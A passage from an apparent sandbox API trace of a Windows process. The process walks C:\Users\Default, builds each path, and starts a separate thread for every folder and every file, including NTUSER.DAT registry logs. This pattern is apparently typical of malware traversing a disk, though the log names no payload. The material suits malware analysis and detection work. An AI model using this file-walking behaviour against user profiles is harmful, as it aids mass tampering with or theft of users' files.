lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0062.502] wcscmp (_String1="Favorites", _String2=".") returned 1 [0062.502] wcscmp (_String1="Favorites", _String2="..") returned 1 [0062.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433e28 [0062.502] wcscpy (in: _Dest=0x3433e28, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.502] wcscat (in: _Dest=0x3433e28, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.502] wcscat (in: _Dest=0x3433e28, _Source="Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0062.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0062.503] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0062.503] wcscmp (_String1="Links", _String2=".") returned 1 [0062.503] wcscmp (_String1="Links", _String2="..") returned 1 [0062.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 0x33e97f8 [0062.503] wcscpy (in: _Dest=0x33e97f8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.503] wcscat (in: _Dest=0x33e97f8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.503] wcscat (in: _Dest=0x33e97f8, _Source="Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0062.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e97f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0062.504] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0062.504] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0062.504] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0062.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd0d0 [0062.504] wcscpy (in: _Dest=0x33fd0d0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.504] wcscat (in: _Dest=0x33fd0d0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.504] wcscat (in: _Dest=0x33fd0d0, _Source="Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0062.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0062.505] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0062.505] wcscmp (_String1="Music", _String2=".") returned 1 [0062.505] wcscmp (_String1="Music", _String2="..") returned 1 [0062.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 0x33e9248 [0062.506] wcscpy (in: _Dest=0x33e9248, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.506] wcscat (in: _Dest=0x33e9248, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.506] wcscat (in: _Dest=0x33e9248, _Source="Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0062.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0062.507] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0062.507] wcscmp (_String1="My Documents", _String2=".") returned 1 [0062.507] wcscmp (_String1="My Documents", _String2="..") returned 1 [0062.507] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3c) returned 0x33fd118 [0062.507] wcscpy (in: _Dest=0x33fd118, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.507] wcscat (in: _Dest=0x33fd118, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.507] wcscat (in: _Dest=0x33fd118, _Source="My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0062.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0062.508] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0062.508] wcscmp (_String1="NetHood", _String2=".") returned 1 [0062.509] wcscmp (_String1="NetHood", _String2="..") returned 1 [0062.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433b68 [0062.509] wcscpy (in: _Dest=0x3433b68, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.509] wcscat (in: _Dest=0x3433b68, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.509] wcscat (in: _Dest=0x3433b68, _Source="NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0062.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0062.510] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x7a4c27fa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x7a4c27fa, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0062.510] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0062.510] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0062.510] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0062.510] wcscmp (_String1="NTUSER.DAT.LOG1", _String2=".") returned 1 [0062.510] wcscmp (_String1="NTUSER.DAT.LOG1", _String2="..") returned 1 [0062.510] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x33fa148 [0062.510] wcscpy (in: _Dest=0x33fa148, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.510] wcscat (in: _Dest=0x33fa148, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.510] wcscat (in: _Dest=0x33fa148, _Source="NTUSER.DAT.LOG1" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1" [0062.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0062.511] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0062.511] wcscmp (_String1="NTUSER.DAT.LOG2", _String2=".") returned 1 [0062.511] wcscmp (_String1="NTUSER.DAT.LOG2", _String2="..") returned 1 [0062.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x33fa008 [0062.511] wcscpy (in: _Dest=0x33fa008, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.511] wcscat (in: _Dest=0x33fa008, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.511] wcscat (in: _Dest=0x33fa008, _Source="NTUSER.DAT.LOG2" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2" [0062.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0062.512] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7dab84ff, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855f639a, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0062.512] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", _String2=".") returned 1 [0062.512] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", _String2="..") returned 1 [0062.512] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb090 [0062.512] wcscpy (in: _Dest=0x33eb090, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.512] wcscat (in: _Dest=0x33eb090, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.512] wcscat (in: _Dest=0x33eb090, _Source="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" [0062.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0062.513] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ddd9675, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0062.513] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0062.513] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0062.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xdc) returned 0x33fc9c8 [0062.513] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.513] wcscat (in: _Dest=0x33fc9c8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.513] wcscat (in: _Dest=0x33fc9c8, _Source="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" [0062.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fc9c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0062.514] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de71fdf, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0x855d0141, ftLastAccessTime.dwHighDateTime=0x1d2fa07, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0062.514] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0062.514] wcscmp (_String1="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0062.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xdc) returned 0x33fcab0 [0062.514] wcscpy (in: _Dest=0x33fcab0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.514] wcscat (in: _Dest=0x33fcab0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.514] wcscat (in: _Dest=0x33fcab0, _Source="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" [0062.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fcab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0062.515] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~2.BLF")) returned 1 [0062.515] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2=".") returned 1 [0062.515] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2="..") returned 1 [0062.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eaaf0 [0062.515] wcscpy (in: _Dest=0x33eaaf0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.515] wcscat (in: _Dest=0x33eaaf0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.515] wcscat (in: _Dest=0x33eaaf0, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" [0062.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eaaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0062.516] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~3.REG")) returned 1 [0062.516] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0062.516] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0062.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xdc) returned 0x341a428 [0062.516] wcscpy (in: _Dest=0x341a428, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.516] wcscat (in: _Dest=0x341a428, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.516] wcscat (in: _Dest=0x341a428, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" [0062.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341a428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0062.517] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b716935, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b716935, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~4.REG")) returned 1 [0062.517] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0062.517] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0062.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xdc) returned 0x341a510 [0062.517] wcscpy (in: _Dest=0x341a510, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.517] wcscat (in: _Dest=0x341a510, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.517] wcscat (in: _Dest=0x341a510, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" [0062.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341a510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0062.518] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0062.518] wcscmp (_String1="Pictures", _String2=".") returned 1 [0062.518] wcscmp (_String1="Pictures", _String2="..") returned 1 [0062.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433ea8 [0062.518] wcscpy (in: _Dest=0x3433ea8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.518] wcscat (in: _Dest=0x3433ea8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.518] wcscat (in: _Dest=0x3433ea8, _Source="Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0062.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0062.519] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0062.519] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0062.519] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0062.519] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ba8 [0062.519] wcscpy (in: _Dest=0x3433ba8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0062.519] wcscat (in: _Dest=0x3433ba8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0062.519] wcscat (in: _Dest=0x3433ba8, _Source="PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0062.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0062.520] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x341d620 | out: lpFindFileData=0x341d620*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0062.520] wcscmp (_String1="Recent", _String2=".") returned 1 [0062.520] wcscmp (_String1="Recent", _String2="..") 